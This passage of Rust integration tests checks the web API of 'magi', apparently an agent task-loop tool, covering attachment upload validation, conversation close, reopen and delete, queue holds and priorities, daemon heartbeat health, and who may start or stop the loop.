6027        assert_eq!(res.status, 201, "{}", res.body);
6028        let body = res.json();
6029        assert_eq!(body["name"], "shot.png");
6030        assert_eq!(body["mime"], "image/png");
6031        assert_eq!(body["bytes"], PNG_BYTES.len());
6032        let att_id = body["id"].as_str().expect("id").to_owned();
6033        assert_eq!(
6034            att_id.len(),
6035            32,
6036            "the id must never be a client-suppliable path: {att_id}"
6037        );
6038
6039        let got = f
6040            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
6041            .await;
6042        assert_eq!(got.status, 200, "{}", got.body);
6043        assert_eq!(got.header("content-type"), Some("image/png"));
6044        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
6045        assert_eq!(got.bytes, PNG_BYTES);
6046    }
6047
6048    #[tokio::test]
6049    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
6050        let f = Fixture::start().await;
6051        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
6052
6053        // SVG can carry a `<script>`, so it is never on the whitelist even
6054        // though it is a real IANA image type.
6055        let svg = f
6056            .post_bytes(
6057                &format!("/api/talks/{id}/attachments"),
6058                &[("Content-Type", "image/svg+xml")],
6059                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
6060            )
6061            .await;
6062        assert!(
6063            (400..500).contains(&svg.status),
6064            "svg must be refused: {} {}",
6065            svg.status,
6066            svg.body
6067        );
6068        assert!(svg.body.contains("SVG"), "{}", svg.body);
6069
6070        let text = f
6071            .post_bytes(
6072                &format!("/api/talks/{id}/attachments"),
6073                &[("Content-Type", "text/plain")],
6074                b"just some text",
6075            )
6076            .await;
6077        assert!(
6078            (400..500).contains(&text.status),
6079            "an unlisted type must be refused: {} {}",
6080            text.status,
6081            text.body
6082        );
6083
6084        // The declared type is a real png, but the size check runs before
6085        // the bytes are even looked at.
6086        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
6087        let big = f
6088            .post_bytes(
6089                &format!("/api/talks/{id}/attachments"),
6090                &[("Content-Type", "image/png")],
6091                &oversized,
6092            )
6093            .await;
6094        assert_eq!(
6095            big.status,
6096            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
6097            "{}",
6098            big.body
6099        );
6100    }
6101
6102    #[tokio::test]
6103    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
6104        let f = Fixture::start().await;
6105        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
6106
6107        // A whitelisted `Content-Type`, but bytes that are not actually a
6108        // png - the declared header alone is never trusted.
6109        let res = f
6110            .post_bytes(
6111                &format!("/api/talks/{id}/attachments"),
6112                &[("Content-Type", "image/png")],
6113                b"<html>not a picture</html>",
6114            )
6115            .await;
6116        assert!((400..500).contains(&res.status), "{}", res.body);
6117    }
6118
6119    #[tokio::test]
6120    async fn an_unknown_attachment_id_is_a_404() {
6121        let f = Fixture::start().await;
6122        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6123
6124        let res = f
6125            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6126            .await;
6127        assert_eq!(res.status, 404, "{}", res.body);
6128    }
6129
6130    #[tokio::test]
6131    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6132        let f = Fixture::start().await;
6133        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6134
6135        let uploaded = f
6136            .post_bytes(
6137                &format!("/api/talks/{id}/attachments"),
6138                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6139                PNG_BYTES,
6140            )
6141            .await;
6142        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6143        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6144
6145        let res = f
6146            .post(
6147                &format!("/api/talks/{id}/say"),
6148                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6149            )
6150            .await;
6151        assert_eq!(res.status, 202, "{}", res.body);
6152        let queued = res.json();
6153        let turns = queued["turns"].as_array().expect("turns array");
6154        assert_eq!(
6155            turns.len(),
6156            1,
6157            "an empty body with an attachment is still a turn: {queued}"
6158        );
6159        assert_eq!(turns[0]["who"], "operator");
6160        assert_eq!(turns[0]["body"], "");
6161        let atts = turns[0]["attachments"]
6162            .as_array()
6163            .expect("attachments array");
6164        assert_eq!(atts.len(), 1);
6165        assert_eq!(atts[0]["id"], att_id);
6166        assert_eq!(atts[0]["mime"], "image/png");
6167
6168        // Not only in the response: `record` flushes to disk before the
6169        // agent's own turn is even spawned.
6170        let on_disk = f.talks().get(&id).expect("get");
6171        assert_eq!(on_disk.turns[0].attachments.len(), 1);
6172        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6173    }
6174
6175    #[tokio::test]
6176    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6177        let f = Fixture::start().await;
6178        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6179
6180        let res = f
6181            .post(
6182                &format!("/api/talks/{id}/say"),
6183                Some(&format!(
6184                    r#"{{"text":"hi","attachments":["{}"]}}"#,
6185                    "a".repeat(32)
6186                )),
6187            )
6188            .await;
6189        assert!((400..500).contains(&res.status), "{}", res.body);
6190        assert!(res.body.contains("unknown attachment"), "{}", res.body);
6191
6192        let on_disk = f.talks().get(&id).expect("get");
6193        assert!(
6194            on_disk.turns.is_empty(),
6195            "a rejected attachment id must not partially record the turn: {:?}",
6196            on_disk.turns
6197        );
6198    }
6199
6200    #[tokio::test]
6201    async fn talk_close_makes_the_talk_refuse_further_turns() {
6202        let f = Fixture::start().await;
6203        let id = seed_talk(&f, "20260904-014455-cd34", "open");
6204
6205        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6206        assert_eq!(closed.status, 200, "{}", closed.body);
6207        assert_eq!(closed.json()["status"], "closed");
6208
6209        // Idempotent: closing an already-closed talk is not an error.
6210        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6211        assert_eq!(closed_again.status, 200);
6212        assert_eq!(closed_again.json()["status"], "closed");
6213
6214        let said = f
6215            .post(
6216                &format!("/api/talks/{id}/say"),
6217                Some(r#"{"text":"too late"}"#),
6218            )
6219            .await;
6220        assert_eq!(said.status, 409, "{}", said.body);
6221    }
6222
6223    #[tokio::test]
6224    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6225        let (_tmp, _repo, f) = talk_fixture().await;
6226        let id = f.post("/api/talks", None).await.json()["id"]
6227            .as_str()
6228            .expect("id")
6229            .to_owned();
6230        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6231        assert_eq!(closed.status, 200, "{}", closed.body);
6232
6233        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6234        assert_eq!(reopened.status, 200, "{}", reopened.body);
6235        assert_eq!(reopened.json()["status"], "open");
6236
6237        // Idempotent: reopening an already-open talk is not an error.
6238        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6239        assert_eq!(reopened_again.status, 200);
6240        assert_eq!(reopened_again.json()["status"], "open");
6241
6242        let said = f
6243            .post(
6244                &format!("/api/talks/{id}/say"),
6245                Some(r#"{"text":"still there?"}"#),
6246            )
6247            .await;
6248        assert_eq!(
6249            said.status, 202,
6250            "a reopened talk accepts turns again: {}",
6251            said.body
6252        );
6253    }
6254
6255    #[tokio::test]
6256    async fn talk_reopen_on_an_unknown_id_is_404() {
6257        let f = Fixture::start().await;
6258        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6259        assert_eq!(res.status, 404, "{}", res.body);
6260    }
6261
6262    #[tokio::test]
6263    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6264        let f = Fixture::start().await;
6265        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6266
6267        let deleted = f.delete(&format!("/api/talks/{id}")).await;
6268        assert_eq!(deleted.status, 204, "{}", deleted.body);
6269
6270        let after = f.get(&format!("/api/talks/{id}")).await;
6271        assert_eq!(after.status, 404, "{}", after.body);
6272
6273        let listed = f.get("/api/talks").await.json();
6274        assert!(
6275            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6276            "a deleted talk must not linger in the list: {listed}"
6277        );
6278    }
6279
6280    #[tokio::test]
6281    async fn talk_delete_on_an_unknown_id_is_404() {
6282        let f = Fixture::start().await;
6283        let res = f.delete("/api/talks/nonexistent-id").await;
6284        assert_eq!(res.status, 404, "{}", res.body);
6285    }
6286
6287    #[tokio::test]
6288    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6289        let f = Fixture::start().await;
6290        let queue = f.queue();
6291        let mut task = Task::new(
6292            "spent".to_owned(),
6293            "Try again".to_owned(),
6294            PathBuf::from("/repo/magi"),
6295            Source::Human,
6296        );
6297        task.start("20260902-140502-bbbb".to_owned());
6298        task.fail("agent gave up", 9);
6299        queue.put(&mut task).expect("file the task");
6300
6301        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6302        assert_eq!(held.status, 200);
6303        assert_eq!(held.json()["status_str"], "held");
6304
6305        let released = f
6306            .post(&format!("/api/queue/{}/release", task.id), None)
6307            .await;
6308        assert_eq!(released.status, 200);
6309        assert_eq!(released.json()["status_str"], "queued");
6310        assert_eq!(
6311            released.json()["attempts"],
6312            0,
6313            "release is a real second chance, not an instant re-hold"
6314        );
6315        assert_eq!(
6316            queue.get(&task.id).expect("reload").status,
6317            TaskStatus::Queued,
6318            "the change is on disk, not only in the reply"
6319        );
6320        assert!(
6321            !f.home
6322                .path()
6323                .join("queue")
6324                .join(format!("{}.lock", task.id))
6325                .exists(),
6326            "the claim the mutation took is released again"
6327        );
6328    }
6329
6330    #[tokio::test]
6331    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6332        let f = Fixture::start().await;
6333        let queue = f.queue();
6334        let mut task = Task::new(
6335            "busy".to_owned(),
6336            "Running right now".to_owned(),
6337            PathBuf::from("/repo/magi"),
6338            Source::Human,
6339        );
6340        queue.put(&mut task).expect("file the task");
6341        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6342
6343        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6344
6345        assert_eq!(res.status, 409);
6346        assert_eq!(
6347            queue.get(&task.id).expect("reload").status,
6348            TaskStatus::Queued,
6349            "the refused hold changed nothing"
6350        );
6351    }
6352
6353    #[tokio::test]
6354    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6355        let f = Fixture::start().await;
6356        let queue = f.queue();
6357        let mut task = Task::new(
6358            "waiting on the migration".to_owned(),
6359            "Do the thing".to_owned(),
6360            PathBuf::from("/repo/magi"),
6361            Source::Human,
6362        );
6363        queue.put(&mut task).expect("file the task");
6364
6365        let held = f
6366            .post(
6367                &format!("/api/queue/{}/hold", task.id),
6368                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6369            )
6370            .await;
6371        assert_eq!(held.status, 200, "{}", held.body);
6372        assert_eq!(held.json()["status_str"], "held");
6373        assert_eq!(
6374            held.json()["hold_reason"],
6375            "waiting for 20260101-000000-aaaa to land"
6376        );
6377
6378        let listed = f.get("/api/queue").await.json();
6379        assert_eq!(
6380            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6381            "the card reads the reason off the same list route"
6382        );
6383
6384        // A hold with no body at all must keep working - most holds have no
6385        // reason to give.
6386        let mut plain = Task::new(
6387            "no reason given".to_owned(),
6388            "Do another thing".to_owned(),
6389            PathBuf::from("/repo/magi"),
6390            Source::Human,
6391        );
6392        queue.put(&mut plain).expect("file the task");
6393        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6394        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6395        assert!(held_plain.json()["hold_reason"].is_null());
6396
6397        let released = f
6398            .post(&format!("/api/queue/{}/release", task.id), None)
6399            .await;
6400        assert_eq!(released.status, 200);
6401        assert!(
6402            released.json()["hold_reason"].is_null(),
6403            "a release must clear the reason so the next hold does not inherit it"
6404        );
6405    }
6406
6407    #[tokio::test]
6408    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6409        let f = Fixture::start().await;
6410        let queue = f.queue();
6411        let mut older = Task::new(
6412            "filed first".to_owned(),
6413            "x".to_owned(),
6414            PathBuf::from("/repo/magi"),
6415            Source::Human,
6416        );
6417        older.id = "20260101-000001-aaaa".to_owned();
6418        let mut newer = Task::new(
6419            "filed second".to_owned(),
6420            "x".to_owned(),
6421            PathBuf::from("/repo/magi"),
6422            Source::Human,
6423        );
6424        newer.id = "20260101-000002-bbbb".to_owned();
6425        queue.put(&mut older).expect("file older");
6426        queue.put(&mut newer).expect("file newer");
6427
6428        // Equal priority: the newer task leads, the same order the old
6429        // newest-first `list()` already gave every equal-priority queue.
6430        let before = f.get("/api/queue").await.json();
6431        assert_eq!(before[0]["id"], newer.id);
6432        assert_eq!(before[1]["id"], older.id);
6433
6434        // Raising the *older* task is the meaningful case: it can only lead
6435        // now because its priority says so, not because it happens to be
6436        // newest.
6437        let raised = f
6438            .post(
6439                &format!("/api/queue/{}/priority", older.id),
6440                Some(r#"{"priority":10}"#),
6441            )
6442            .await;
6443        assert_eq!(raised.status, 200, "{}", raised.body);
6444        assert_eq!(raised.json()["priority"], 10);
6445
6446        let after = f.get("/api/queue").await.json();
6447        let names: Vec<&str> = after
6448            .as_array()
6449            .unwrap()
6450            .iter()
6451            .map(|t| t["id"].as_str().unwrap())
6452            .collect();
6453        // Highest priority first, which is the order next_runnable and
6454        // `magi task list` both use - GET /api/queue must agree with it
6455        // immediately, not just once the loop claims the task.
6456        assert_eq!(names[0], older.id, "the raised task now sorts first");
6457    }
6458
6459    #[tokio::test]
6460    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6461        let f = Fixture::start().await;
6462        let queue = f.queue();
6463        let mut task = Task::new(
6464            "in flight".to_owned(),
6465            "x".to_owned(),
6466            PathBuf::from("/repo/magi"),
6467            Source::Human,
6468        );
6469        task.start("20260902-140502-bbbb".to_owned());
6470        queue.put(&mut task).expect("file the task");
6471
6472        let res = f
6473            .post(
6474                &format!("/api/queue/{}/priority", task.id),
6475                Some(r#"{"priority":9}"#),
6476            )
6477            .await;
6478        assert_eq!(res.status, 400, "{}", res.body);
6479        assert!(
6480            res.json()["error"]
6481                .as_str()
6482                .is_some_and(|e| e.contains("running")),
6483            "{}",
6484            res.body
6485        );
6486        assert_eq!(
6487            queue.get(&task.id).expect("reload").priority,
6488            0,
6489            "the refused write must not partially apply"
6490        );
6491    }
6492
6493    #[tokio::test]
6494    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6495        let f = Fixture::start().await;
6496        let queue = f.queue();
6497        let mut task = Task::new(
6498            "old title".to_owned(),
6499            "old instruction".to_owned(),
6500            PathBuf::from("/repo/magi"),
6501            Source::Agent {
6502                run: "20260101-000000-beef".to_owned(),
6503                node: "implement".to_owned(),
6504            },
6505        );
6506        task.runs.push("20260101-000000-beef".to_owned());
6507        queue.put(&mut task).expect("file the task");
6508        let created_at = task.created_at;
6509
6510        let edited = f
6511            .post(
6512                &format!("/api/queue/{}/edit", task.id),
6513                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6514            )
6515            .await;
6516        assert_eq!(edited.status, 200, "{}", edited.body);
6517        let body = edited.json();
6518        assert_eq!(body["title"], "new title");
6519        assert_eq!(body["instruction"], "new instruction");
6520        assert_eq!(body["id"], task.id, "editing must not mint a new id");
6521        assert_eq!(body["created_at"], created_at.to_string());
6522        assert_eq!(
6523            body["source"]["kind"], "agent",
6524            "editing a task an agent filed must not turn it human: {body}"
6525        );
6526        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6527
6528        let reloaded = queue.get(&task.id).expect("reload");
6529        assert_eq!(reloaded.title, "new title");
6530        assert_eq!(reloaded.instruction, "new instruction");
6531    }
6532
6533    #[tokio::test]
6534    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6535        let f = Fixture::start().await;
6536        let queue = f.queue();
6537        let mut task = Task::new(
6538            "in flight".to_owned(),
6539            "do not touch".to_owned(),
6540            PathBuf::from("/repo/magi"),
6541            Source::Human,
6542        );
6543        task.start("20260902-140502-bbbb".to_owned());
6544        queue.put(&mut task).expect("file the task");
6545
6546        let res = f
6547            .post(
6548                &format!("/api/queue/{}/edit", task.id),
6549                Some(r#"{"title":"x","instruction":"y"}"#),
6550            )
6551            .await;
6552        assert_eq!(res.status, 400, "{}", res.body);
6553        assert!(
6554            res.json()["error"]
6555                .as_str()
6556                .is_some_and(|e| e.contains("running")),
6557            "{}",
6558            res.body
6559        );
6560        assert_eq!(
6561            queue.get(&task.id).expect("reload").instruction,
6562            "do not touch",
6563            "the refused edit must not change the file"
6564        );
6565    }
6566
6567    #[tokio::test]
6568    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6569        let f = Fixture::start().await;
6570        let queue = f.queue();
6571        let mut task = Task::new(
6572            "busy".to_owned(),
6573            "Running right now".to_owned(),
6574            PathBuf::from("/repo/magi"),
6575            Source::Human,
6576        );
6577        queue.put(&mut task).expect("file the task");
6578        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6579
6580        let priority = f
6581            .post(
6582                &format!("/api/queue/{}/priority", task.id),
6583                Some(r#"{"priority":9}"#),
6584            )
6585            .await;
6586        assert_eq!(priority.status, 409, "{}", priority.body);
6587
6588        let edit = f
6589            .post(
6590                &format!("/api/queue/{}/edit", task.id),
6591                Some(r#"{"title":"x","instruction":"y"}"#),
6592            )
6593            .await;
6594        assert_eq!(edit.status, 409, "{}", edit.body);
6595    }
6596
6597    #[tokio::test]
6598    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
6599        let f = Fixture::start().await;
6600        let queue = f.queue();
6601        let mut task = Task::new(
6602            "shipped by hand".to_owned(),
6603            "merged outside the loop".to_owned(),
6604            PathBuf::from("/repo/magi"),
6605            Source::Agent {
6606                run: "20260101-000000-b455".to_owned(),
6607                node: "implement".to_owned(),
6608            },
6609        );
6610        task.runs.push("20260101-000000-b455".to_owned());
6611        task.runs.push("20260101-000000-9af4".to_owned());
6612        queue.put(&mut task).expect("file the task");
6613        let created_at = task.created_at;
6614
6615        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6616        assert_eq!(done.status, 200, "{}", done.body);
6617        assert_eq!(done.json()["status_str"], "done");
6618
6619        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
6620        assert_eq!(
6621            reloaded.runs,
6622            ["20260101-000000-b455", "20260101-000000-9af4"]
6623        );
6624        assert_eq!(
6625            reloaded.source,
6626            Source::Agent {
6627                run: "20260101-000000-b455".to_owned(),
6628                node: "implement".to_owned(),
6629            }
6630        );
6631        assert_eq!(reloaded.created_at, created_at);
6632    }
6633
6634    #[tokio::test]
6635    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
6636        // `done` is allowed on any status, including `held`, with no release
6637        // in between - so a task held for a reason and then closed directly
6638        // must not keep reading as "waiting on" it afterwards, on its card or
6639        // in `magi task show`.
6640        let f = Fixture::start().await;
6641        let queue = f.queue();
6642        let mut task = Task::new(
6643            "landed while held".to_owned(),
6644            "x".to_owned(),
6645            PathBuf::from("/repo/magi"),
6646            Source::Human,
6647        );
6648        task.hold_manual(Some("waiting on 3ed9".to_owned()));
6649        queue.put(&mut task).expect("file the held task");
6650
6651        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6652        assert_eq!(done.status, 200, "{}", done.body);
6653        assert_eq!(done.json()["status_str"], "done");
6654        assert!(
6655            done.json()["hold_reason"].is_null(),
6656            "a done task cannot still be waiting on something: {}",
6657            done.body
6658        );
6659    }
6660
6661    #[tokio::test]
6662    async fn unknown_ids_are_json_not_found_on_both_stores() {
6663        let f = Fixture::start().await;
6664
6665        let run = f.get("/api/runs/nosuchrun").await;
6666        let task = f.post("/api/queue/nosuchtask/hold", None).await;
6667
6668        assert_eq!(run.status, 404);
6669        assert_eq!(task.status, 404);
6670        assert!(
6671            run.json()["error"]
6672                .as_str()
6673                .is_some_and(|e| e.contains("run")),
6674            "the error names what was not found: {}",
6675            run.body
6676        );
6677        assert!(
6678            task.json()["error"]
6679                .as_str()
6680                .is_some_and(|e| e.contains("task")),
6681            "the error names what was not found: {}",
6682            task.body
6683        );
6684    }
6685
6686    #[tokio::test]
6687    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6688        let f = Fixture::start().await;
6689
6690        let missing = f.get("/api/health").await.json();
6691        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6692
6693        write_daemon(
6694            f.home.path(),
6695            Timestamp::now() - jiff::SignedDuration::from_secs(60),
6696        );
6697        let stale = f.get("/api/health").await.json();
6698        assert_eq!(
6699            stale["daemon"]["running"], false,
6700            "a minute without a heartbeat is a dead daemon, not a busy one"
6701        );
6702        assert!(
6703            stale["daemon"]["stale_for_secs"]
6704                .as_i64()
6705                .is_some_and(|s| s >= 55),
6706            "staleness is reported so the UI can say how long: {stale}"
6707        );
6708
6709        write_daemon(f.home.path(), Timestamp::now());
6710        let fresh = f.get("/api/health").await.json();
6711        assert_eq!(fresh["daemon"]["running"], true);
6712        assert_eq!(fresh["daemon"]["idle"], false);
6713        assert_eq!(fresh["daemon"]["pid"], 4242);
6714        assert_eq!(fresh["daemon"]["completed"], 7);
6715        assert_eq!(
6716            fresh["daemon"]["current"][0]["task"],
6717            "20260902-140501-aaaa"
6718        );
6719        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6720    }
6721
6722    #[tokio::test]
6723    async fn the_loop_is_not_running_until_something_starts_it() {
6724        let f = Fixture::start().await;
6725
6726        let view = f.get("/api/loop").await.json();
6727        assert_eq!(view["running"], false);
6728        assert_eq!(
6729            view["owned"], false,
6730            "nobody owns a loop that does not exist: {view}"
6731        );
6732        assert_eq!(view["stopping"], false);
6733        assert_eq!(view["last_error"], Value::Null);
6734        assert_eq!(view["daemon"]["running"], false);
6735        assert_eq!(
6736            view["repo"], "/repo/magi",
6737            "the repository a start would use, named before it is started"
6738        );
6739    }
6740
6741    #[tokio::test]
6742    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6743        let f = Fixture::start().await;
6744
6745        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6746        assert_eq!(res.status, 200, "{}", res.body);
6747        let view = res.json();
6748        assert_eq!(view["running"], true);
6749        assert_eq!(
6750            view["owned"], true,
6751            "the loop the UI started is the UI's own to stop: {view}"
6752        );
6753        assert_eq!(
6754            view["merge"],
6755            Value::Null,
6756            "no override was given, so each repository's own config decides"
6757        );
6758
6759        // The same object from the route a waking phone polls first. Two
6760        // surfaces disagreeing about whether anything is running is exactly
6761        // the confusion this UI exists to remove.
6762        let health = f.get("/api/health").await.json();
6763        assert_eq!(health["loop"]["running"], true, "{health}");
6764        assert_eq!(health["loop"]["owned"], true, "{health}");
6765
6766        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6767    }
6768
6769    #[tokio::test]
6770    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6771        let f = Fixture::start().await;
6772        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6773        assert_eq!(first.status, 200, "{}", first.body);
6774
6775        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6776        assert_eq!(
6777            again.status, 409,
6778            "two loops on one queue race for the same claims: {}",
6779            again.body
6780        );
6781        assert!(
6782            again.json()["error"]
6783                .as_str()
6784                .is_some_and(|e| e.contains("already running the loop")),
6785            "the refusal has to say why: {}",
6786            again.body
6787        );
6788        assert_eq!(
6789            f.get("/api/loop").await.json()["running"],
6790            true,
6791            "and the loop that was already running is untouched by it"
6792        );
6793
6794        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6795    }
6796
6797    #[tokio::test]
6798    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6799        let f = Fixture::start().await;
6800        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6801
6802        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6803        assert_eq!(
6804            res.status, 200,
6805            "the answer must not wait for the loop: a run in flight is tens of \
6806             minutes and the operator is holding a phone: {}",
6807            res.body
6808        );
6809
6810        let view = settled(&f, |v| v["running"] == false).await;
6811        assert_eq!(view["owned"], false);
6812        assert_eq!(
6813            view["stopping"], false,
6814            "a loop that has stopped is not still stopping: {view}"
6815        );
6816        assert_eq!(
6817            view["last_error"],
6818            Value::Null,
6819            "a loop that was asked to stop did not fail: {view}"
6820        );
6821
6822        // Idempotent, because the operator cannot tell a slow stop from a lost
6823        // one and will press it again.
6824        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6825        assert_eq!(twice.status, 200, "{}", twice.body);
6826    }
6827
6828    #[tokio::test]
6829    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6830        let f = Fixture::start().await;
6831        // How the operator has been doing it: a `magi serve` of their own,
6832        // heartbeat fresh, in the same home this UI reads.
6833        write_daemon(f.home.path(), Timestamp::now());
6834
6835        let view = f.get("/api/loop").await.json();
6836        assert_eq!(view["running"], false, "not in this process: {view}");
6837        assert_eq!(view["owned"], false, "and not this process's to control");
6838        assert_eq!(
6839            view["daemon"]["running"], true,
6840            "but a loop is alive somewhere, which is what the UI must say"
6841        );
6842        assert_eq!(view["daemon"]["pid"], 4242);
6843
6844        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6845            let res = f.post("/api/loop", Some(body)).await;
6846            assert_eq!(
6847                res.status, 409,
6848                "neither button may pretend to work on someone else's loop: {}",
6849                res.body
6850            );
6851            assert!(
6852                res.json()["error"]
6853                    .as_str()
6854                    .is_some_and(|e| e.contains("4242")),
6855                "the refusal has to name the process the operator must go to: {}",
6856                res.body
6857            );
6858        }
6859        assert_eq!(
6860            f.get("/api/loop").await.json()["running"],
6861            false,
6862            "and the refusal started nothing"
6863        );
6864    }
6865
6866    #[tokio::test]
6867    async fn a_stale_status_file_is_not_a_foreign_owner() {
6868        let f = Fixture::start().await;
6869        write_daemon(
6870            f.home.path(),
6871            Timestamp::now() - jiff::SignedDuration::from_secs(60),
6872        );
6873
6874        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6875        assert_eq!(
6876            res.status, 200,
6877            "a daemon killed a minute ago must not lock the loop out of its \
6878             own home for good: {}",
6879            res.body
6880        );
6881        assert_eq!(res.json()["running"], true);
6882
6883        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6884    }
6885
6886    #[tokio::test]
6887    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6888        let f = Fixture::start().await;
6889        let before = f.get("/api/health").await.json()["loop_rev"]
6890            .as_u64()
6891            .expect("a loop revision");
6892
6893        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6894
6895        let after = f.get("/api/health").await.json()["loop_rev"]
6896            .as_u64()
6897            .expect("a loop revision");
6898        assert!(
6899            after > before,
6900            "the loop is in-process state, so this counter is the only thing \
6901             that tells a second device the first one started it: {before} -> \
6902             {after}"
6903        );
6904
6905        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6906    }
6907
6908    #[tokio::test]
6909    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6910        let f = Fixture::with_loop(launch_broken).await;
6911
6912        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6913        assert_eq!(
6914            res.status, 200,
6915            "starting it is not the failure: {}",
6916            res.body
6917        );
6918
6919        let view = settled(&f, |v| v["last_error"].is_string()).await;
6920        assert_eq!(
6921            view["running"], false,
6922            "a loop that died must not read as running, or the operator has \
6923             nothing to press: {view}"
6924        );
6925        assert_eq!(view["owned"], false);
6926        assert!(
6927            view["last_error"]
6928                .as_str()
6929                .is_some_and(|e| e.contains("read-only file system")),
6930            "the phone is where a loop that died at 3am is visible: {view}"
6931        );
6932
6933        // And it can be started again: the corpse was reaped, not left to
6934        // occupy the slot.
6935        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6936        assert_eq!(again.status, 200, "{}", again.body);
6937        assert_eq!(
6938            again.json()["last_error"],
6939            Value::Null,
6940            "a fresh start does not keep showing why the last one died"
6941        );
6942    }
6943
6944    /// An upgrade parks the run in flight before it restarts, and a park waits
6945    /// for the node - up to `timeout_implement`, an hour by default. The deck
6946    /// has to answer for all of it: the operator has just been told a run is
6947    /// finishing first, and this address is the only place that says how it is
6948    /// going. It did not, once - the listener went with the `select!` arm that
6949    /// began the handover, and the phone got `Cannot reach magi: Failed to
6950    /// fetch` for the rest of the wave.
6951    ///
6952    /// The other half is the older rule: the address must be free *before* the
6953    /// successor is started, or it dies on "address already in use" with its
6954    /// stdio sent to null and the deck never comes back.
6955    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
6956    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6957        let home = TempDir::new().expect("temp home");
6958        let runs = home.path().join("runs");
6959        std::fs::create_dir_all(&runs).expect("runs dir");
6960        let ui = Ui::new(
6961            Queue::at(home.path().join("queue")),
6962            Questions::at(home.path().join("questions")),
6963            Talks::at(home.path().join("talks")),
6964            runs,
6965            home.path().to_path_buf(),
6966            PathBuf::from("/repo/magi"),
6967        )
6968        .with_worktrees_root(home.path().join("wt"))
6969        .with_launch(launch_knocking_on_the_way_out);
6970        let looping = ui.looping();
6971        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6972            .await
6973            .expect("bind loopback");
6974        let addr = listener.local_addr().expect("local addr");
6975        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6976        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6977
